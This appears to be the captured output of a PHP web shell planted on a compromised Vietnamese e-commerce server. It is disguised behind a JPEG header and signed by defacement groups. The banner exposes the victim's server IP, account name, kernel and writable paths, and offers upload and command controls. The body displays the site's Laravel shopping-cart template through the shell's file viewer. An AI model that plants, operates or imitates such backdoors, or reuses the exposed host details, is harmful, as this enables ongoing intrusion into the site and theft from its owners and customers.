JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/resources/views/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/resources/views/templates/giohang_tpl.blade.php
@extends('index')



@section('content')

<?php
    use App\Products;
    use App\Prices;
    use App\Sizes;
    use App\Typematerials;
    use App\Materials;
    use App\Colors;
    use App\Embroiderys;
    
    $setting = Cache::get('setting');
     $a = App::getLocale();
?>



<script type="text/javascript">
      function homeUrl(){
          return '{!! url('/') !!}'
      }
    function updatecart(id,kieu,qty){
        var qty = parseInt($('#qty'+id).val());
        if(kieu=='minus'){
            if(qty==1){
                alert('Bạn không thể chọn số lượng thấp hơn 1. Mời bạn chọn lại');
                qty=1
            }else{
                qty-=1;
            }
        }else if(kieu=='add'){
            qty+=1;        
        }
        this.document.location.href = homeUrl('')+"/updatecart/"+id+"/"+qty;
    }
</script>



 <section class="vk-content">
        <div class="vk-banner vk-background--image-7">
            <div class="container">
                <div class="vk-banner__content">

                    <div class="vk-banner__logo">
                        <a href="{{ url('/') }}" title="">
                            <img src="{{ asset('upload/hinhanh/'.$setting->images2) }}"  alt="Logo" />
                        </a>
                    </div> <!--./logo-->
                    <h2 class="vk-banner__heading text-uppercase"><span>{!! $a == 'vi' ? "Giỏ hàng" : "shopping cart" !!}</span></h2>
                </div>
            </div>
            <div class="vk-breadcrumb vk-banner__breadcrumb">
                <nav class="container">
                    <ul class="vk-list vk-list--inline vk-breadcrumb__list">
                        <li class="vk-list__item"><a href="{{ url('/') }}">{!! $a == 'vi' ? "Trang chủ" : "Home" !!}</a></li>
                        <li class="vk-list__item active">{!! $a == 'vi' ? "Giỏ hàng của bạn" : "shopping cart" !!}</li>

                    </ul>



                </nav>



            </div>



        </div>


        <!--./vk-banner-->



        <div class="vk-page vk-page--shopcart">

            <div class="vk-shopcart">

                <div class="container">

                    <table class="vk-table vk-shopcart__table">

                        <tr>

                            <th>{!! $a == 'vi' ? "SẢN PHẨM" : "PRODUCT" !!}</th>



                            <th>{!! $a == 'vi' ? "GIÁ" : "PRICE" !!}</th>



                            <th>{!! $a == 'vi' ? "Số lượng" : "QUANTITY" !!}</th>



                            <th>{!! $a == 'vi' ? "Tổng tiền" : "TOTAL" !!}</th>



                            <th></th>



                        </tr>



                    <?php $tongtien=0; ?>
                    @if(count($product)>0)
                    @foreach($product as $item)
        
                    <?php
                        
                        
                        @$product_parent=Products::select('sale','id','sao','name','name_eg','photo','sale')->where('id',$item->id)->where('status',1)->first();
                        @$chatlieu_don=Materials::select('name','id')->where('id',$item->options->chatlieu)->first();  
                        @$size_don=Sizes::select('name','id')->where('id',$item->options->size)->first(); 
                        @$color_don=Colors::select('images','id','name','name_eg')->where('id',$item->options->color)->first();
                        @$mautheu_don=Embroiderys::select('images','id','price')->where('id',$item->options->mautheu)->first();
                             
                    ?>
                        <tr>
                            <td>
                                <div class="vk-shopcart-item">
                                    <div class="vk-img vk-img--mw100">

                                        <img src="{!! asset('upload/product/'.@$product_parent->photo) !!}" onerror="this.src='public/admin_assets/images/noimage.gif';" width="94"  alt="" title="">
                                        <div class="vk-rate vk-text--yellow-1">


                                                <?php
                                                    for($sao=1;$sao<=@$product_parent->sao;$sao++){
                                                ?>
                                                    <span><i class="fa fa-star"></i></span>
                                                <?php } ?>


                                        </div>

                                    </div>
                                    <!---- các sản phẩm trong goi ------>
                                    <div class="mgl-10" style="width: 100%;">
                                    <?php
                                        @$minmonney=0;
                                    
                                        @$im_check=implode(',',$item->options->idpro);
                                        @$explo_check=explode(',',$im_check);
                                       
                                            if(count($explo_check)>1){
                                            foreach($explo_check as $k=>$item_p){
                                              
                                            @$chech_pro=Products::select('name','name_eg','id','photo')->where('id',$item_p)->where('status',1)->orderBy('id','desc')->first();
                                            @$chatlieu=Materials::select('name','id')->where('id',$item->options->chatlieu[$k])->first();  
                                            @$size=Sizes::select('name','id')->where('id',$item->options->size[$k])->first(); 
                                            @$color=Colors::select('images','id','name','name_eg')->where('id',$item->options->color[$k])->first();
                                            @$mautheu=Embroiderys::select('images','id','price')->where('id',$item->options->mautheu[$k])->first();
                                            /** tinh tien **/
                                            @$typemate=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu->id)->where('pro_id',$chech_pro->id)->first();
                                            @$price=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size->id)->where('pro_id',$chech_pro->id)->first();
                                            /** mai làm tiếp 22-3 **/
                                            @$pricetest=DB::table('prices')->select('price','id','name','size_id')->where('pro_id',$chech_pro->id)->orderBy('price','DESC')->get();
                                            foreach(@$pricetest as $i=>$row){
                                               if($i == 0){
                                                  @$first_item=$row->price;
                                                }
                                                if($row->price == null){
                                                    if(@$price->name == @$row->name){
                                                        @$monney=$typemate->price*$row->name*$first_item;
                                                    }
                                                }else{
                                                   @$monney=$typemate->price*$first_item;
                                                }
                                            }
                                            
                                            
                                            @$price_mt=@$mautheu->price;
                                            @$minmonney+=$monney+$price_mt;
                                              
                                          ?>       
                                              <div class="form-cart">
                                                    <label class="font-weight-bold">{!! $a == 'vi' ? @$chech_pro['name'] : @$chech_pro['name_eg'] !!}</label>
                                                    <div class="row">
                                                        <div class="col-md-3">
                                                            <span class="item-inner">{!! @$chatlieu['name'] !!}</span>
                                                        </div>
                                                        <div class="col-md-3">
                                                             <span class="item-inner">{!! @$size['name'] !!}</span>
                                                        </div>
                                                        <div class="col-md-3">
                                                            <span class="item-inner" id="img-min"><?php if(!empty($color)){?> {!! $a == 'vi' ? @$color->name : @$color->name_eg !!} <?php } ?></span>
                                                        </div>
                                                        <div class="col-md-3">
                                                           <?php if(!empty($mautheu)){?> 
                                                            <span class="item-inner" id="img-min"><img class="ui mini avatar image" src="{{ asset('upload/embroidery/'.@$mautheu->images)}}"/></span>
                                                           <?php } ?>
                                                        </div>
                                                    </div>
                                                    <div style="clear: both;"></div> 
                                              </div>  
                                        <?php } ?>
                                    <?php } ?>
                                    <!-- end sản phẩm gói -->
                                    <!-- sản phẩm đơn -->
                                    <?php if(count($item->options->chatlieu) < 2){
                                        /** tinh tien **/
                                      
                                        @$typemate=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu_don->id)->where('pro_id',$product_parent->id)->first();
                                        @$price=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size_don->id)->where('pro_id',$product_parent->id)->first();
                                        /** mai làm tiếp 22-3 **/
                                        @$pricetest=DB::table('prices')->select('price','id','name','size_id')->where('pro_id',$product_parent->id)->orderBy('price','DESC')->get();
                                        foreach(@$pricetest as $i=>$row){
                                           if($i == 0){
                                              @$first_item=$row->price;
                                            }
                                            if($row->price == null){
                                                if(@$price->name == @$row->name){
                                                    @$monney=$typemate->price*$row->name*$first_item;
                                                }
                                            }else{
                                               @$monney=$typemate->price*$first_item;
                                            }
                                        }
                                        @$price_mt=@$mautheu_don->price;
                                        @$minmonney+=$monney+$price_mt;
                                    
                                    ?>
                                        
                                      <div class="form-cart">
                                            <label class="font-weight-bold">{!! $a == 'vi' ? @$product_parent->name : @$product_parent->name_eg !!}</label>
                                            <div class="row">
                                                <div class="col-md-3">
                                                    <span class="item-inner">{!! @$chatlieu_don['name'] !!}</span>
                                                </div>
                                                <div class="col-md-3">
                                                     <span class="item-inner">{!! @$size_don['name'] !!}</span>
                                                </div>
                                                <div class="col-md-3">
                                                    <span class="item-inner" id="img-min"><?php if(!empty($color_don)){?> {!! $a == 'vi' ? @$color_don->name : @$color_don->name_eg !!} <?php } ?></span>
                                                </div>
                                                <div class="col-md-3">
                                                   <?php if(!empty($mautheu_don)){?> 
                                                    <span class="item-inner" id="img-min"><img class="ui mini avatar image" src="{{ asset('upload/embroidery/'.@$mautheu_don->images)}}"/></span>
                                                   <?php } ?>
                                                </div>
                                            </div>
                                            <div style="clear: both;"></div> 
                                      </div>
                                    <?php } ?>
                                    <!-- end sản phẩm đơn -->
                                        <!------- sản phẩm khuyến mại nếu có ----------->
                                        <?php
                                            @$imp_sale=implode(',',@$item->options->sale2018);
                                            @$explo_sale=explode(',',@$imp_sale);
                                            $min_monney_sale=0;
                                            if(count($explo_sale)>1){
                                        ?>
                                            <div class="col-md-12" id="muathem">{!! $a == 'vi' ? 'Mua thêm sản phẩm khuyến mại' : 'Buy more promotional products' !!}</div>
                                            <?php
                                                
                                               foreach($explo_sale as $m=>$sale){
                                                    @$sale=DB::table("sales")->select()->where('id',$sale)->first();
                                                    @$chatlieu_sale=DB::table("materials")->select()->where('id',@$item->options->chatlieusale[$m])->first();
                                                    @$size_sale=DB::table("sizes")->select()->where('id',@$item->options->sizesale[$m])->first();
                                                    @$color_sale=DB::table("colors")->select()->where('id',@$item->options->colorsale[$m])->first();
                                                     /** tinh tien hàng khuyến mại **/
                                                    @$typemate_sale=DB::table('typematerials')->select('price','id','chatlieu_id')->where('chatlieu_id',$chatlieu_sale->id)->where('sale_id',$sale->id)->first();
                                                    @$price_sale=DB::table('prices')->select('price','id','name','size_id')->where('size_id',$size_sale->id)->where('sale_id',$sale->id)->first();
                                                    @$pricetest_sale=DB::table('prices')->select('price','id','name','size_id')->where('sale_id',$sale->id)->orderBy('price','DESC')->get();
                                                    
                                                 
                                                    foreach(@$pricetest_sale as $p=>$row_sale){
                                                       if($p == 0){
                                                          @$first_item_sale=$row_sale->price;
                                                        }
                                                        if($row_sale->price == null){
                                                            if(@$price_sale->name == @$row_sale->name){
                                                                @$monney_sale=$typemate_sale->price*$row_sale->name*$first_item_sale;
                                                            }
                                                        }else{
                                                           @$monney_sale=$typemate_sale->price*$first_item_sale;
                                                        }
                                                    }
                                                    @$min_monney_sale+=$monney_sale;
                                                   
                                             ?>
                                                 <div class="form-cart">
                                                    <label class="font-weight-bold"><?php echo @$sale->name;?></label>
                                                    <div class="row">
                                                        <div class="col-md-3">
                                                            <span class="item-inner"><?php echo @$chatlieu_sale->name;?></span>
                                                        </div>
                                                        <div class="col-md-3">
                                                             <span class="item-inner"><?php echo @$size_sale->name;?>  </span>
                                                        </div>
                                                        <div class="col-md-3">
                                                            <span class="item-inner" id="img-min"><?php if(!empty($color_sale)){?> {!! $a == 'vi' ? @$color_sale->name : @$color_sale->name_eg !!} <?php } ?></span>
                                                        </div>
                                                        <div class="col-md-3"></div>
                                                    </div>
                                                    <div style="clear: both;"></div> 
                                              </div> 
                                            <?php } ?>
                                        <?php } ?>
                                    </div>
                                    <!--------------End các sản phẩm trong gói-------------------->

                                </div> <!--./vk-shopcart-item-->
                              

                            </td>



                            <td>

                            <span class="vk-shopcart__price">
                                   <?php if($minmonney > 0){
                                       
                                       if($product_parent->sale > 0){
                                          $hmang=$minmonney*$product_parent->sale/100; 
                                            $tongtru=$minmonney-$hmang;
                                            echo  number_format($tongtru,0,",",".");
                                           }else{
                                            $tongtru=$minmonney;
                                            echo  number_format($tongtru,0,",",".");
                                           }
                                       
                                       
                                    }else{
                                        echo 'Liên hệ';
                                    }
                                    ?> 
                                  <span class="vnd">vnđ</span>  
                            </span>
                            <?php if($min_monney_sale >0 ){?>
                                <div class="vk-shopcart__price">
                                        <div class="col-md-12" id="muathem"><?php echo $a == 'vi' ? "Giá Khuyến mại" : "Price sale"?></div> 
                                <?php
                                    if(!empty($product_parent->sale)){
                                ?>  
                                     <div class="related_sale"> 
                                            <span class="sale_price_new">  
                                               <?php
                                                    $pricesale_new=$min_monney_sale*$product_parent->sale/100;
                                                    $sum_sale=$min_monney_sale-$pricesale_new;
                                                    echo number_format($sum_sale,0,",","."); 
                                               ?> 
                                               <span class="vnd">vnđ</span>   
                                           </span>                                              
                                          <span class="sale_giohang">      
                                           - <?php   echo $product_parent->sale; ?> %
                                          </span>                                          
                                    </div>  
                                     <span class="sale_price_old">  
                                       <?php
                                           echo  number_format($min_monney_sale,0,",","."); 
                                       ?> 
                                       <span class="vnd">vnđ</span>  
                                    </span> 
                               <?php }else{ ?>
                                     <span class="sale_price_new">  
                                       <?php  echo number_format($min_monney_sale,0,",",".");  ?> 
                                       <span class="vnd">vnđ</span>  
                                    </span> 
                               
                               <?php } ?>     
                                </div>
                            <?php } ?>    
                            </td>
                            <td>
                                <div class="vk-shopcart__quantity">
                                    <span class="d-md-none d-inline-block pt-2"><?php echo $a == 'vi' ? "Số lượng" : "Quantity"?>: </span>
                                    <div class="vk-calculator" data-calculator="true">
                                        <input  type="number" min="1" id="qty{{$item->rowId}}" onblur="updatecart('{!! $item->rowId !!}','',this.value)" value="{!! $item->qty !!}" class="qty form-control order-2" />
                                        <button onclick="updatecart('{!! $item->rowId !!}','minus',1)"  class="vk-calculator__button vk-btn vk-btn--minus order-1" data-index="minus">
                                           <i class="_icon fa fa-minus"></i>
                                        </button>
                                        <button onclick="updatecart('{!! $item->rowId !!}','add',1)" class="vk-calculator__button vk-btn vk-btn--plus order-3" data-index="plus">
                                            <i class="_icon fa fa-plus"></i>
                                        </button>
                             
                                    </div> <!--./calculator-->

                                </div> <!--./vk-shopcart__quantity-->

                            </td>
                            <td>

                            <span class="vk-shopcart__price"><span class="d-md-none"><?php echo $a == 'vi' ? "Thành tiền" : "Total"?>: </span>
                                    
                                    <?php if(@$tongtru > 0){
                                        if(!empty($product_parent->sale)){
                                                @$pricesale_new=@$min_monney_sale*@$product_parent->sale/100;
                                                @$sum_sale=@$min_monney_sale-@$pricesale_new;
                                         }else{ 
                                            @$sum_sale=@$min_monney_sale;                                    
                                        } 
                                       
                                        @$thanhtien=(@$tongtru+@$sum_sale)*$item->qty;
                                        echo number_format(@$thanhtien,0,",",".");
                                     ?>
                                     <span class="vnd">vnđ</span>     
                                   <?php  }else{  echo 'Liên hệ';  } ?> 
                                    
                            </span>

                            </td>

                            <td>
                                <a style="cursor: pointer;" href="{!! asset('deletecart/'.@$item->rowId) !!}" ><button class="vk-btn"><i class="fa fa-trash-o"></i> </button></a>
                            </td>
                        </tr>
                        <?php 
                            @$tongtien+=$thanhtien;
                        ?>
                      @endforeach
                    @else
                        <h5 class="title_thongbao">{!! $a == 'vi' ? 'Giỏ hàng rỗng. Mời bạn quay lại trang sản phẩm để mua tiếp' : 'Cart is empty. Please return to the product page for further purchase' !!}</h5>
                    @endif    
                    </table>
                    <div class="vk-shopcart__total">
                        <div class="vk-shopcart__label"><?php echo $a == 'vi' ? "Tổng tiền" : "Total cart"?>: <?php echo number_format($tongtien,0,",",".") ?> vnđ</div>
                        <div class="vk-shopcart__button">
                             <a class="vk-btn vk-btn--red-1" href="{!! asset('thanh-toan-don-hang') !!}" title="{!! $a == 'vi' ? "Thanh toán" : "CHECKOUT" !!}" class="pay">{!! $a == 'vi' ? "Thanh toán" : "CHECKOUT" !!}</a>
                        </div>
                    </div>

                </div>
                <!-- /.container -->
            </div> <!--./vk-shopcart-->
     
        </div> <!--./vk-page-->

    </section>
@endsection




Anon7 - 2022
AnonSec Team